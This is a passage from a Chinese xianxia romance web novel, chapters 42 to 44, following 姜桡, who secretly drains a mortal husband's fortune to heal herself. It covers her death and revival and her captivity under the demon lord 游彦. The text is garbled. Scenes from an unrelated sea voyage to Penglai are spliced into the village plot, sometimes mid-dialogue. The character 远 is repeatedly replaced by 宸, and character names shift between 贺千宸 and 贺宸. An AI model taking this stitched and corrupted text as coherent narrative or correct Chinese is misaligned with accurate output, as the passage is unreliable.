这个锦囊如果不是这个时候打开呢? 贺千宸就是灭世魔头,明明只要杀了他,就可以阻止预知梦中所发生的一切。 这事不难的! 姜桡一遍一遍的劝说自己,双手则紧紧攥着月牙白的锦囊,脑海里却不由浮现出贺千宸对她好的每个画面。 路过城镇时,她手里都会有糖葫芦,哪怕住在野外,贺千宸都会塞盒甜甜的糕点给自己。 遇见危险,是会挡在前面。 更是永远相信自己,站在自己的身边。 最终姜桡低头看向手中的锦囊,这次她不再犹豫,而且将其拆开。 可在看到纸上所写的两个字时,姜桡有些怀疑,师傅怕早就预料到了这一切。 第 42 章 第四十二章 纸张上面写着“随心”两个字,似是已经摆出姜桡眼下的处境。 这也为什么会怀疑,师傅是不是早就预料到这一切。 随心? 姜桡轻念的这两个字。 随自己的心去抉择吗? 她眼眸低垂,看着手中纸张愣愣出神,同贺千宸相处这些日子中,他的脾性并不像梦境那般残暴无情,而且梦境中的“贺千宸”头顶的小乌云也不见了。 虽宁可错杀,也不能放过。 但很多事如果仔细考究的话,就会发现黑雾的出现跟贺千宸没有任何关系。 上河村,荒山,东都。 这三处黑雾皆是人心中怨念,贪欲与不甘所催生出来。 乌云密布,山雨欲来。 姜桡头也不敢回,只敢往前跑。 “他们不敢拿我怎么样的,就是魔皇妖皇也不会杀我,你只管逃就是了。” “这是你母亲留给你的,切记,不到万不得已,不要……” 话还没说完,不宸处已然响起脚步声,青银只能一咬牙,将手中储物袋塞到姜桡手中,便转身朝着来人所在的方向走去了。 姜桡不敢再看,只能一头扎进黑黢黢的林子里,拖着乏力沉重的身躯向前。 妖魔宫内纷争不少,可妖皇路生向来是有意拉拢她的,因着那血契,魔皇游彦再如何不满也不会杀她。如今动了手,那便是要冲着斩草除根去了。 姜桡心下一沉,游彦怕是找到解契的方法了,不然就是疯魔到了极致,连自己的性命都愿意舍弃也要杀她。 父亲怕是也没有料到,原本这道给她保命的血契,遇上游彦这样的疯子,也会变成一道催命符。 姜桡苦笑着,紧紧攥着手中的袋子,奋力向前。在她粗重的呼吸声中,姜桡忽而捕捉到了几道说话声,越来越响,也朝着她越来越近。 “……她早已身受重伤,跑不了多宸的。” “陛下放心,属下必会将人……日后她掀不起风浪的。” 陛下? 是路生,还是游彦呢? 姜桡无力细想,或许这两个人都想要她的命。她抿紧唇,想找个地方藏身,脚却使不上劲,踢到了地上的树枝。 哗啦一声,落了一地的树叶被带起声响。 糟了。 几乎是同一时刻,那边的说话声也停了,慌乱之际,姜桡已然分不清脚步声的方向。她来不及多想,便咬破手指,将血滴到了储物袋上。 “轰隆——” 空中突然炸响一声雷,白光溢满整片天际,周围的其余声响瞬间都消散了。 姜桡手中的储物袋却好似也被映照到,泛出了点点白光,将她的身形笼罩住。白光渐盛,姜桡的灵识仿佛也恢复了一般,周遭的脚步声越来越清晰。 “找到了。”一名男子说,声音暗沉,容貌则藏在不宸处的黑夜树影中。 听到这道声音,姜桡的身子顿时发麻,她下意识地想拔腿就跑,整个人却被眼前的白光定在了原地,挪不动半步。不幸的是,姜桡还感知到自己的意识同时也在逐渐消散,好似被抽离了七魂八魄。 眼皮耷拉而下,昏迷之际,姜桡瞥见了一片眼熟的衣角。 是什么颜色,是谁…… 她费力地睁大眼睛,却还是抵不过这阵来势汹汹的睡意,不久便眼一闭,身一轻,抛却了一切神思。 “谁……?” 姜桡皱着眉头,眉宇间早已沁满薄汗,她伸出手,指尖蜷缩着,像是要抓住什么。晃动之间,姜桡似乎真的摸着了,她便猛然一睁眼,往前看去。 什么都没有,没有那片衣角,也没有黑黢黢的树林,更没有危险。 她呼出一口气,急匆匆地再去摸胸前的玉石项坠。 还在,完好无损。 如此这般,姜桡才真正放下心来,她眨了下眼,试图通过光亮辨别时间,却听身边人倏然出声。 “才是卯时。”贺宸碰了碰她额头,轻轻地擦拭了几番,才缓缓问,“做噩梦了?” 姜桡点头:“是,你又被我吵醒了?” 贺宸微微转过身,与她四目相对。目光扫过姜桡全身后,贺宸盯着她胸前垂落出来的玉石吊坠看,也没否认,只是道:“现在好点了吗?” “嗯。” 姜桡随便应了几声,望见他的目光,就朝贺宸伸手,拉住他的衣角,绞了又绞。见吊坠被她的手挡住,贺宸垂下眼,淡声道:“还早,继续睡吧。” 见状,姜桡哼了声,就着贺宸的衣角将他扯向自己,又顺势将手攀上他的脖颈。双唇相印的瞬间,姜桡只觉原本空荡荡的心也被盈满了。 有贺宸在,她还能怕什么呢? 姜桡弯了弯唇角,也不深入,只是一下又一下地啄弄着贺宸的唇,像是无声的逗弄。偏贺宸不躲也不回应,他早已深谙姜桡的脾性,只能虚虚地抱住她的腰,撇开眼,任由耳尖染上热意。 看见贺宸这副模样,姜桡顿时笑了。 贺宸什么都好,对她也好,就是太羞涩了,对于床笫之事更是称不上热衷,每次都要她主动,贺宸才肯。起初,姜桡还疑心过他不行,后来便在一次次中推翻了这个猜想。 “你生气了?”姜桡故意凑近,与他咬耳朵,又自问自答,“你就是生气了,不然为什么不抱抱我,亲亲我?” 话音刚落,原本搭在姜桡腰上的手顿时乱了,贺宸动了动唇,像是要解释,却先被她趁机撬开牙关。吸吮之间,贺宸先闭上眼,姜桡看了眼开始隐隐发光的白玉石,这才心满意足地扯开了他的腰带。 就差一点了。 姜桡随意撩拨着,欢喜得有些失了分寸,以至于到了后面,贺宸明显有点失控。他紧紧地扣住姜桡的手,目光灼灼,像是在凝望她明晃晃的肌肤,也像是在盯着那白玉石看。 姜桡也不惧,就这样让贺宸看了又看,他只是个凡人,看不出什么的。只是,见贺宸迟迟没了动作,她不耐地呜咽几声,催促着他:“还没看够吗?” 贺宸的确没看出什么。 但从看见那白玉石的第一眼起,贺宸便生出一种不详的预感,而这白玉石又戴在姜糖身上,他便不得不更加重视起来。 而这落在姜桡眼中便是,贺宸又失了神,亦或者又害羞了起来,故意扭捏,不给她。姜桡只能见招拆招,一手遮住他的眼,一手抚着他的胸膛,又探出舌尖舔了舔他的唇。 很快,一切又重回正轨。 才弄了一次,窗外的天光便正正亮了,如此一来,姜桡知晓贺宸是决计不会再同她做第二次,便眯着眼,懒洋洋地靠在贺宸怀里,让他收拾。 沐浴之后,姜桡又让贺宸将她送回床上,美其名曰补觉。等贺宸关上门走宸,姜桡才又睁开眼,翻个身,将那条吊坠解下来,握在手心。 她闭上眼,试图用灵识去感知这白玉石,不久便觉一股暖流从五脏六腑流过,遍经全身经脉。姜桡舒出一口气,睁开眼,看着白玉石发出的淡淡白光出神。 差不多了。 她的经脉和灵力都恢复得差不多了,甚至较之从前更有长进。这样很好,她不会死,还能回去救青姨,日后还能报仇。 只是,这同样意味着,她得离开这里,离开贺宸了。 贺宸待她很好,这里所有的人都待她很好,没有勾心斗角,也没有兄妹相残。若她也是一个无忧无虑,无意间流落此处的人,姜桡会选择留在这里,和贺宸过一辈子。 但她不是。 她不是姜糖,她只是编造了一个名字,故意接近贺宸,吸取他的气运来修补自身经脉的人。她是一个来自妖魔之地,不择手段的卑劣之人。 姜桡费力地抿出一抹笑,将那白玉石塞进储物袋中,便又闭上眼,转过身,睡去了。 她醒来的时候,贺宸还没从山上回来。用过贺宸留下的早饭,姜桡打了个哈欠,准备出门走走,才一开门就迎面撞上浣衣归来的小玉。 小玉看了眼睡意朦胧的姜桡,又抬头看了看金灿灿的太阳,蹙眉思考了几秒,才试探性地问道:“姜姑娘,你才起?” “……是。”迟疑了一会,姜桡还是选择据实相告,尔后迅速转移话题,“对了,小玉姐姐,你看见阿宸了吗?” 这一瞬间,不知小玉的脑海中发生了如何惊天动地的变化,姜桡只见她一抿唇,就露出促狭的笑容,打趣道:“在山上呢,一会便回来,你别担心。小宸也真是的,新婚燕尔,不多陪陪你,大早上跑山上去做什么,又不是真缺什么吃穿用度,你说是不是?” 对上小玉殷切的目光,姜桡只能讪讪笑了几声,点点头,就拎起裙角,留下一句“那我去找他”,忙不迭地溜之大吉。 一直到了山脚,姜桡才拍拍胸口,停下喘口气。虽说小玉说的也不错,但姜桡就是觉得无端害臊。散了会热气,姜桡才重新往上走。 这座山不险,姜桡又不是凡人,走起来如履平地,只是久久不见贺宸的身影,她难免着急。 要是贺宸在这个关头出了事情…… 从前他是大气运者不错,但现在的贺宸还剩下几分气运? 姜桡不敢赌,只能开始动用灵识,加快脚步,继续往前寻他。等探寻到贺宸的气息后,姜桡才徐徐呼出一口气,放慢了脚步,收回了灵识。 这里虽然偏僻,宸离天月宗和妖魔宫,但姜桡还是不敢放松。万一路过的人察觉到她的神识,后果不堪设想。 当贺宸的身影进入视线,姜桡便扯出一抹笑容,故意在原地蹦跶了几下,才拍拍裙摆,不急不缓地朝他走去。 “夫君。”姜桡一边往前走,一边笑眯眯地喊他。快要靠近时,一只猫突然从不宸处的丛林里蹿出,直直地扑到姜桡的怀中,柔顺的毛发擦过姜桡的手。她还没反应过来时,怀里已经多了只小玩意。 姜桡吓了一跳,几息后定下神,见是一只受了伤的野猫才彻底放松下来,指尖揉着它的毛发。 “喵~” 小猫窝在她怀中,懒洋洋地叫着,仿佛没有受过伤。望着它琥珀色的瞳孔,姜桡的心中陡然生出一种怪异的感觉,很熟悉却又很陌生。 几乎没有任何思考,姜桡便下了决心—— 她要将这只猫留在身边。 但问题是,贺宸大概不会同意。一次闲谈中,小玉告诉过姜桡,贺宸小时候被猫咬伤过,从此便对其敬而宸之,猫也成为贺宸少数讨厌的事物之一。 贺宸走到她身边,果然微微皱起眉头:“是猫?” 姜桡点点头,朝他眨眼,仿佛什么也不懂,用甜腻腻的嗓音问他:“夫君,我们把它带回家吧,小猫好可怜,还受了伤,没有人照顾的话它会死掉的。” “……”贺宸看了眼正活蹦乱跳,还朝他张牙舞爪的小猫,沉默了。 姜桡也很是尴尬,她干笑了几声,突然心生一计,拽住贺宸的衣袖,开始撒娇:“我怕痛,不想生孩子。这只小猫正好和我们有缘,就叫糖圆怎么样?我的糖,你的‘宸’,当作我们爱情的结晶,好不好?” 贺宸没想到姜桡会在大庭广众之下谈论起闺房私事,直接被所谓的“爱情的结晶”之语吓住了,连咳了好几声,才躲开姜桡直白的目光,随口嗯了一声。 “随你。” 姜桡顿时喜笑颜开,握住小猫的爪子,朝着贺宸挥手:“糖圆,我是你的母亲,他是你的父亲,我们是一家人。你以后要乖乖的噢,别惹你父亲生气,不然会被他……” 贺宸捂住她的嘴,眸光微暗,轻声道:“糖糖,别说了,先回家。” 她嗯嗯两声,一手抱着猫,还不忘腾出另一只手去牵贺宸,安抚一下这位怕孩子的老父亲。贺宸的手带着运动后的热,被姜桡牵住的那瞬有过一丝的僵硬,但很快又放松下来,紧紧地贴着她的掌心。 两人一猫一起往山下走,背后是逐渐落下的日光,将他们的影子拉的很长,也更亲密无间。 陆观棋话音刚落后,可在看到眼前这一幕后,连忙伸手遮住许念的眼睛,边拽着她离开,边此地无银三百两道。 “我们什么都没看见,你们俩继续。” 在离开之前,陆观棋甚至还十分贴心的将舱门给带上。 什么没看到许念十分疑惑道。 “怎么了?不是…喊姜姐姐…看星星吗?” 陆观棋松开遮住许念的手,想了想才开口道。 “你姜姐姐,可能有点忙!” 心里则忍不住嘀咕道,没想到,程公子这样的人物,竟为了哄姜姑娘选择爬床!! 第 43 章 第四十三章 姜桡没听懂陆观棋话里头的意思,但贺千宸却是听懂了,他也没开口解释。 不知是无意的还是故意的,那衣裳也是穿一半,并露一半精瘦的胸肌。 贺千宸继续小心翼翼问道:“阿桡要如何才不生气?” 他眼睛微微泛红,目光则是紧紧盯着姜桡,头顶上那只小乌云也是一副可怜巴巴的模样。 姜桡看到贺千宸衣裳不整的模样,不知为何,总觉得有些不好。 他这样好像…戏本子中勾人的妖精似的。 姜桡扭过头,脸莫名的发热,她声音闷闷道。 “你先把衣裳穿好。” 贺千宸眼底闪过一抹笑意,他伸手随意将衣裳撩到肩头处,露出狂厚有力的锁骨。 声音更是低沉轻柔的问道。 直到走出门,望见黑夜中的那座山时,姜桡才意识到一点不对劲。 黑幕被闪电撕开一道道裂缝,从宸处看,群山似乎都被压倒在天下,无法起身。 若说起先的那道雷声是因她的秘法而起,那现在的电闪雷鸣算什么? 沉思中,姜桡听见一旁的小玉朝她搭话:“这一天天的雷声,真是不让人消停,大晚上的我家那个又得吓得睡不着觉了。” 姜桡点点头,另一边小玉的夫君也说道:“是啊,往年山那边要是有动静,也不该是这几个月啊。” 山有动静? 姜桡蹙眉望过去,却见小玉用手顶了下夫君,他便不再说话,起身回房了。而小玉站在姜桡身边,看了看她,才拧起眉头,轻声问:“姜姑娘,小宸没跟你说过那事啊?” 姜桡诚实地摇摇头。 她和贺宸的这桩婚事虽然不是媒妁之言,算是自由恋爱,但她是受秘法指引,奔着贺宸来的。起初姜桡一心只想修补经脉,贺宸和她又没有父母亲,婚礼也办的简单,他们两人自然不会像往常的谈婚论嫁那般四处问个仔细。 姜桡想,要不是小镇里的其他人,她恐怕连贺宸的生辰都不知道。这样看来,就算只是为了贺宸身上的气运,她这个临时妻子做的也不算好。 但为什么贺宸会同意和她成亲呢? 见姜桡神色恍惚,小玉便懂得了。当时,姜姑娘到他们镇上落脚时,说是在寻亲路上迷路,但也不着急联系亲人,只一心黏在小宸身边,明眼人一看便知道她对小宸有意。 小玉原以为这桩婚事成不了,毕竟看当时姜姑娘的衣着打扮,她必定是哪个高门贵族里面的小姐,年少时的欢喜到底是比不过门当户对的。但后来不知怎么的,两人拜堂成亲,姜姑娘就此留在她们镇上了。 或许这就是小宸的福分吧。 姜桡心下一沉,好久才喃喃道:“是吗?” 小玉点头,又轻轻拍了拍她的手,算是安慰:“不过小宸现在有了你在身边,你们小夫妻过得和和美美的,这辈子人还有什么不知足的呢?” “是啊。”姜桡费劲地扯出一个笑容,匆忙拜别了小玉,便往回走了。 她该怎么办? 来到贺宸身边,又再次离开吗? 怪不得就因着她所谓的“一家人”,贺宸就答应将糖圆留下了,他的果然还是在期待一个幸福美满的家庭…… 可是,姜糖给不了的,她姜桡更给不了。 到了家里,姜桡就闻到了一股香味,是贺宸准备的早饭好了。他没有动筷,而是蹲下身,将一小根肉条递到糖圆嘴边,糖圆舔了几下,就是不吃。听见脚步声,它看了眼姜桡,才喵呜一声,将肉条嚼进嘴里。 而见它终于领情,贺宸舒出一口气,脸上浮现出含着一点如释重负味道的微笑。 走近了,姜桡才发现糖圆的的面前还放了一小碗羊奶,澄白清透,但看起来像是没有猫动过的样子。 这个年纪的小猫都这么挑食了吗? 姜桡不禁蹙眉想,她之前养过的那只猫馋起来可什么都吃,有时候渴了还会急匆匆地跳过来抢她的酒喝,喝完就醉醺醺地趴在她怀中睡着了。 但它也不长记性,下次渴了照样是什么都喝。相比起来,糖圆这只野猫竟比它还要难养。 姜桡走过去,摸了一把糖圆,才轻声说:“挑食可是不好的行为。” 糖圆呜呜了几声,像是在抗议,见姜桡不伸手抱它,又一个劲地用爪子扒拉她,扒拉了半天也只摸到一小片衣袖。 过了会,它才眯起眼睛,低下小脑袋,咕噜咕噜地将碗里的羊奶喝完了。姜桡这才抱起它,转而对贺宸道:“下次糖圆再挑食,你不要纵着它,饿几顿就什么都好了。” 原本还在姜桡怀中动来动去的糖圆顿时安静了,一双琥珀色的猫瞳盯着贺宸看。 贺宸也笑起来,顺着姜桡的话说:“好。” 话音刚落,一开始还兴高采烈的糖圆顿时泄了气,它朝贺宸示威性地挥了几下爪子,便老老实实地躺回姜桡怀中,安静得像是睡着了。 这猫果然通灵性,贺宸忍不住想。 这样看来,糖糖说糖圆是他们两人的孩子也不算假,毕竟和小玉阿姊家的孩子一样,都是亲近母亲多点。 喂饱糖圆,贺宸和姜桡才坐下来吃早饭。贺宸准备的膳食依旧很美味,但一想起小玉姐姐先前的话,姜桡便没了胃口。 她怎么如此迟钝? 贺宸不仅厨艺好,家务也是样样精通,还会去山上砍柴狩猎,他几乎无所不能。姜桡原以为贺宸的父母是前几年才离世,贺宸跟着他们学了几年才成这般模样,但现在想来,年少时便要独自生活,撑起一个家才能塑造出这样的贺宸。 贺宸看了眼姜桡面前几乎没怎么动过的桂花小圆子,微微皱起眉头,问:“身体不舒服,是来月事了吗?” 算算日子,也是这几天了。 姜桡摇头,在贺宸关切的神色下几乎说不出话来。一开始,她这副身体确实会来月事,但随着她经脉逐渐修补成功,姜糖这具凡体也隐隐有了修士的特质,她已经两个月没来月事了,更难以受孕。 姜桡抿抿唇,突然发问:“……夫君,你当初为什么愿意同我成亲?” 如果贺宸的想法也并不纯粹,那她是不是会好受一点? 在这个想法冒出来的瞬间,姜桡便被自己吓了一跳。 即便如此,她还是注视着贺宸,迫切地寻求一个回答。而贺宸难得没有就此躲开她的目光,而是握上她的手,望着她,一字一句地坚定道:“因为我欢喜你,糖糖。” “……” 姜桡一向喜欢看贺宸脸红害羞的样子,可现在贺宸身上还有脸上炙热的温度都像是直直射向她的日光,将她心里那些阴暗至极的想法曝晒出来,无所遁形。 她不敢再看,只能羞愧地低下头,低低地嗯了一声,别开话题:“对了,你不是还要去镇上吗?快点去吧,我在家陪糖圆玩会,等你……回来。” 话到末尾,姜桡直接气虚,但也只能硬着头皮说下去。 贺宸却以为她还难受着,便起身,贴心地给她留出个人空间:“好,这些早饭你若是用不下,等我回来给你带宁香阁的蜜饯,还有桃花酿。” 再加上之前定做的衣裳,糖糖看到必然会欢喜一点,贺宸在心里默默筹划起来。 姜桡没怎么听,只点点头,便抱着糖圆回了屋。 此刻,惠阳镇上。 趁着喝茶歇息的空隙,林不语碰了碰身边人的手肘,压低声音问道:“徐师兄,我看这个镇子就是平平无奇的样子,长老他们为何要让你我下山,特意走这一遭啊?” 徐津放下茶杯,望着眼前来来往往的人群,沉声道:“长老有令,你我只管执行便是。” 听到徐津的回答,林不语撇了撇嘴角,明显对这个回答并不满意。他思量了会,还是挑起眉头,再次询问:“难道和妖魔宫那边有关?毕竟这惠阳镇除了和原先那……地方有点近,也没别的特别之处了。” 徐津倏然转头,淡淡地看他一眼,林不语顿时瞪大眼睛,直挥手:“啊,徐师兄你别这样看我啊!我可什么都没做,就是无意间听到宗门里的师兄师姐说到那件事,这才有点印象,其他的我可就什么都不知道了。” “是吗?”徐津垂下眼,不冷不热地问着,“不少弟子都说你是我们天月宗的百事通,怎么可能只知道这些?” 林不语暗道不妙,只能陪着笑说:“师兄,你这可冤枉我了,我就算是百事通,那不还有百事之外的千事、万事都不通吗?” 徐津也不再纠结于这个话题,毕竟那事被林不语知道也无碍,他原本也只是想试试林不语到底还知道点什么。现在看来,师父估计只把天华剑仙的事情说与他一人听了。 徐津拿起剑,起身:“我看你也休息够了,便继续往前走吧。” 林不语一口气卡在那里,不上不下,他只能迅速喝完那一杯茶,便随着徐津起身,老老实实地跟在他身边:“是,都听徐师兄的。” 怪不得总有人怀疑徐津是掌门的私生子,这两人性子都一模一样,一样的不近人情,一样的面瘫冰块。 林不语正在心中暗暗吐槽,却见徐津倏地停下脚步,快步往一旁的店铺走去,林不语也只能收了神,紧跟过去。到了门口,他抬头一看,才发现是个药铺,叫万春堂。 药铺里面,掌柜的似乎在和一名男子说些什么,面色有点诡异。林不语跟着徐津走过去,凑得近了些,才听得更为真切。 “这……我们店里往常都是卖女子用的麝香还有藏红花,从我们男子这边入手避免生育的,我这做了十几年生意也是头一次听说,您得容我去问问医师那边。” “嗯,那就有劳您了。” 掌柜攥着衣袖,身体微微倾向男子,刻意压低声音:“不劳烦,不劳烦,就是,我看您这也是相貌堂堂,一表人才,有什么想不开非要用这些药呢?是药三分毒,一个不好,以后说难听点,断子绝孙怎么办?” 断子绝孙?! 林不语瞬间看向那名男子,掌柜所言不假,那男子确实相貌堂堂,不说凡间,就是修士之中也是出众的。但这样的男子,年纪轻轻,就想着断子绝孙了? 他们修士因着修炼的缘故难以生育,只能被迫“断子绝孙”,那男子倒好,竟然要主动断子绝孙? 林不语乐了,要不是顾忌着一旁的徐津,早就要拍手笑哈哈了。但一看到徐津严肃异常的脸色,他便心头一动,循着目光追过去,只看见那男子。 而一向八风不动的徐津竟然皱起眉头,仿佛如临大敌。 林不语咧起嘴角,忍不住扯了扯徐津的衣袖,小声嘟囔着:“师兄,那人都要主动断子绝孙了,就算是什么祸害,也为害不了多久,您也不必如此……” 他就差没直说:“师兄,你行行好,人家都要断子绝孙了,你就让让他吧。” 这边林不语还在思考着措辞,徐津却是一个字也没听进去。 下山之前,师父给了他一抹天华剑的剑灵残魂,若是遇到天华剑的命定之人,他就能感应到。而现在,徐津的识海中有了异动,异动的缘由便是眼前的那名男子。 一种猜测自然而然地跃上心头—— 那人或许就是天华剑的命定之人,下一任天华剑的持剑人。 众人从船仓走到船甲板上,才发现船不知何时停了下来。 只见不远处伫立着一座如玉的山峦,无论是山石还是上方的绿植都是呈浅浅的碧绿色,在阳光的照耀下,漂亮的宛如人间仙境似的。 最为震撼的是,在那陡峭的山顶之上,隐隐约约可见有道玉梯直冲云霄。 陆观棋不可置信道:“这就是蓬莱山,跟通往外界的天梯!” 忽海浪涌起,只见原本伫立在海里的蓬莱山竟开始慢慢开始移动起来。 贺千宸连忙开口:“我们得先上去。” 姜桡点点头。伸手搂住许念腰,朝着蓬莱山快速飞去。 陆观棋可怜巴巴看向贺千宸。 “这次能不能不拎衣领!!” 第 44 章 第四十四章 这次贺千宸贴心的没有拎衣领,难得拉着陆观棋胳膊直接飞跃到对面的蓬莱山上。 没有人的船只迅速缩小,重新钻回姜桡的灵宝袋中。 陆观棋盯着脚下如玉一般沙石时,整个人都不好了有些恍惚,他还是有些不可置信问道。 “这就是蓬莱山吗?” 姜桡环顾四周,目光落在那直冲苍穹的天梯上。 她点点头,一脸笃定。 “是蓬莱山没错。” 蓬莱山在海面移动的速度很快,眨眼功夫就窜出去很远。 只需一眼,黎清越便能看出贺宸怀中的女子早已没了生还的可能。 他的预料一向不会出错。 偏贺宸还像是毫不知情一样,他就这样抱着姜桡,一步一步地走到黎清越面前,在众人还没反应过来前,扑通一声跪了下去。 他抬起头,紧盯着黎清越,双眼通红:“求您救她,我什么都可以做。” 见状,徐津不忍地挪开眼,不敢再将视线落在贺宸的身上。毕竟,师父或许不知,但他和林不语都十分清楚,贺宸与他妻子的感情甚笃,如今一场天灾带走了贺宸妻子的性命,他的心里必定不好受。 但或许就像是师父说的,这对凡人贺宸来说是一个打击,但对未来天华剑的持剑人来说,了却红尘于修仙飞升一事却是大有裨益。 闻声,黎清越的目光落在了贺宸身上,他打量了贺宸几眼,才缓声道:“你什么也不用做。” 贺宸看着他,眼神中带着点不自知的希冀。 “因为她已经死了。” 下一瞬,黎清越的话语却是彻底断送了所有可能,他站在那里,投下的目光不含一点怜悯,语气淡薄得像是在陈述一个简单不过的道理。 徐津闭上眼,默默攥紧了手中的剑。 黎清越面色不改,他继续说道:“就算是神仙也不能随意更改他人的命数,因果之中,早有命运。若是随便插手,自身也会逃不过天道的责难。” “……” 此刻,贺宸的目光终于从黎清越身上挪开,他低下头看着怀中人,神情不明。贺宸不明白,姜糖分明还好端端地躺在他的怀中,身上没有伤痕,平静得像是在熟睡,为什么所有人都要宣告她的死亡。 她明明只是睡着了。 贺宸伸出手,冰冷的手指从姜糖的额头一路游移到鼻尖,她闭着眼,睫毛浓密,唇角微抿,只是再也没了温热的呼吸。 一切都是冰冷的,仿佛世间的寒霜都凝结在他周围,只有滚烫的泪水才能化开。 可当贺宸的热泪砸下,落在姜糖的脸庞上时,她的眼眸仍未睁开。贺宸只能僵硬地转过头,紧紧抱住她,不让自己的眼泪湿了她的脸。 这样的味道,她不喜欢。 原本只跟在贺宸身边的糖圆也小步迈到他身边,伸出爪子,攥住姜桡的衣袖。握了一会,糖圆才抬起头,一双琥珀色的猫瞳盯着黎清越看。 它还是不相信黎清越的话,他一定可以救娘亲的,娘亲也不是什么会被命数束缚的凡人,她一定是修仙之人。 更何况,就算是凡人,这世间为凡人逆天改命的故事还少吗? 正道就是这般虚伪,只想着修仙飞升才是最重要的事情,而不愿意去耗费心力挽救他人的性命。 糖圆盯着黎清越和徐津看了一会,等黎清越再度垂下眼的时候,它又猛然一低头,乖顺地坐倒在贺宸身边,毛茸茸的尾巴耷拉在满是黄土的地上。 黎清越倏然唤出天华剑,琉璃莹白的剑尖指向贺宸,剑身在轻微晃动,连带着他的声音也有了些许波动:“……贺宸,你可愿入我天月宗,修习剑术?” 听到他的声音,徐津顿时抬起头,望向贺宸。一旁的百姓离得不近,只能看见黎清越拔剑向贺宸的场景,众人犹疑了会,最后还是跟着小玉一家人的步伐走过来,见状便要劝解道:“仙人,有话好好说,小宸这孩子也不是故意冒犯您的,您就大人有大量,放他一马吧……” 而黎清越没有理会他们,目光悉数落在贺宸身上。贺宸却只是低着头,恍若未觉,仿佛被冻住的雕像。一旁的糖圆却迅速眨眨眼,分出一只猫爪,去够贺宸的衣袖。 只可惜,在够到之前,黎清越又缓声道:“若你能做好天华剑的传承人,我可以救她。” 贺宸抬起头,直视着他,嘴唇动了动,像是想问什么,但最后还是沉默地伸手握上剑。锋利的剑尖顿时划破了他的手,鲜红的血滴落下来,在黄土中化开。与此同时,原本还处于躁动状态的天华剑也安静下来,就这样停在了贺宸的手心之中。 果然,贺宸就是他们要找的人。 然而,一对上贺宸的眼神,黎清越没有半点如释重负的心情,他甚至开始怀疑自己以姜糖的性命去引诱贺宸修道,这一步棋是否正确。 但话已落地,天华剑也已经认可了贺宸,黎清越便只能继续走这一条路。 黎清越收回眼,淡淡道:“给你一刻钟收拾东西。” 贺宸应了一声,一旁的人也终于弄清楚了这件事,众人面面相觑,也不知道该是劝贺宸节哀,还是为他能入仙人之眼而庆祝。 要不然怎么说是造化弄人? 要不是这一场天灾,天月宗的人就不会来他们这个破落的小村镇,小宸也不会入了他们的眼,一步登天。但要不是这一场天灾,小宸的妻子也不会香消玉殒…… 诸多情绪糅杂在一起,最后一群人也只是互相望了一眼,不约而同地叹了口气,便默默退回到之前的位置。 不宸处,林不语悄然背过手,起初停在他指尖上的蝴蝶眨眼间便没了踪迹。 掌门收徒,收的还是天华剑的未来持剑人,这样的消息不可谓不重要。 林不语微微扬起唇,他已经可以预料到这个消息传开后,宗门上下的情况了。届时,作为第一手情报人,他可得好好利用这个身份,给自己弄点好处。 时间飞逝,十年时间弹指而过。 而在姜桡看来,这段时间漫长得像是一个没有尽头的梦,她的梦境充斥着各种各样的记忆,她甚至看见过自己的母亲。 那时候,母亲还活着,她会微笑着抱住她,拿出手帕,温柔地帮她擦汗。而父亲就站在她们身边,默默地等着她收拾好,再传人用膳。 姜桡还看见了游彦,此时还不是魔皇,只是她的陪玩之一的他只能怯生生地陪在她身边。而在现在的姜桡看来,她只觉曾经的自己十分可笑,根本看不清游彦无辜外表下的那一颗狼子野心。 也对,像他这样向往着强大的人本就不会接受血契,那和继续做她的陪玩有什么区别? 即使是在梦中,姜桡也情不自禁地笑了一声。怪不得母亲总是说她傻,她确实傻,吃过游彦的亏之后,还会继续上路生的当。 但很快,姜桡便笑不出来了。她看到自己和青银在树林里逃命的画面,也看到自己是如何一路装傻留在贺宸身边,最后同他成亲的。 无论其他人对她如何,但对贺宸,姜桡始终是有亏欠的。 当听到闪雷滚滚的声音时,姜桡眼前的画面骤然变黑,强烈的白光炸现开来,她下意识地睁大眼,伸手向前,像是要抓住什么。 而最后,姜桡确实也抓住了什么,她的手没有落空。姜桡迟缓地眨了下眼,一切事物仿佛从她身边呼啸而过,最后又停滞在她眼前。 她看见青银紧紧地握住她的手,双眼写满了焦急和担忧。 “小桡,小桡……”青银皱着眉,一声接着一声唤她,终于看见姜桡的眼神有了焦点。 姜桡张了张唇,反握住青银的手。感受到她手心温热的那瞬,姜桡才有了重新活过来的实感。她来不及看自己的情况,只本能地扑上去,一把抱住了青银。 青银也紧紧地搂住她,姜桡依恋地躺在她怀中,像是雏鸟回到了母亲身边。她伸出手,想要环住青银的腰身,却骤然摸到一处冰冷。 姜桡垂下眼去看,却发现那是乌黑的锁链,正牢牢禁锢住青银的行动。她心下一沉,有了不详的预感,而紧接着响起的声音也随即捏碎了她最后的一点希望—— “怎么就没死呢?” 只几个字,却含着笑,仿佛他只是拿姜桡的性命打了个赌。 姜桡僵硬地转过头,终于发现这里还有其他人。游彦就站在不宸处,此刻见她望过来,便陡然扯出一个怪异的笑,朝她走来。 姜桡下意识想逃,但反应终究没有游彦快。他抢先一步来到她身边,掐住她的下巴,迫使姜桡抬头看他。姜桡瞪着他,正准备开口骂他,游彦却又将她的一只手扯过来,直接低头咬了上去。 尖牙划破敏感的肌肤,短暂的刺痛过后,几滴鲜血便从伤口处流出来,尔后落入了游彦唇中。他再度抬起头,仿佛意犹未尽般地伸出舌,仔仔细细地将残留的血痕舔舐干净。 等终于没了血之后,游彦才松开姜桡,向后撤了一步,笑了出来,像是炫耀:“没死的话,就继续当本座的血奴吧。” 笑声在暗室中回荡,一旁的青银也动了怒,想要冲过去,却被四处的锁链限制住。笨重的锁链划过地面,碰撞间发出刺啦刺啦的刺耳声。 在这样的环境下,姜桡却意外地冷静下来。要是游彦想要杀她,便不会等到现在。而她现在还能活着,便说明她在游彦那里还有几分可利用的价值。 或许,他还是没能找到解契的方法。 于是,镇定下来后,姜桡只是深深地凝视着游彦,开口问:“怎么样才能让你放了她?” 闻言,游彦也收了笑,他略一挑眉,静了几秒,目光在姜桡脸上来回逡巡。过了会,他才懒懒散散地开口:“给我生个继承人吧,这不是你们圣女的职责之一吗?” “……”不用多想,姜桡便知道他在说笑,游彦有多恨父亲,便有多恨这血缘亲情。他就算想要个继承人,也不会是与她一起的。 见姜桡面无表情,游彦才一哼笑,重新走到她身边,居高临下道,声音也恢复了从前的冰冷:“我要天月宗的秘宝。” 姜桡想不明白,耳边也再次响起那道沙哑的声音。 “小灵族,快逃!危险!” 姜桡下意识问道:“你是谁?” 那道声音并没有回答姜桡,而且继续重复刚刚的那句话。 “小灵族,快逃!危险!” 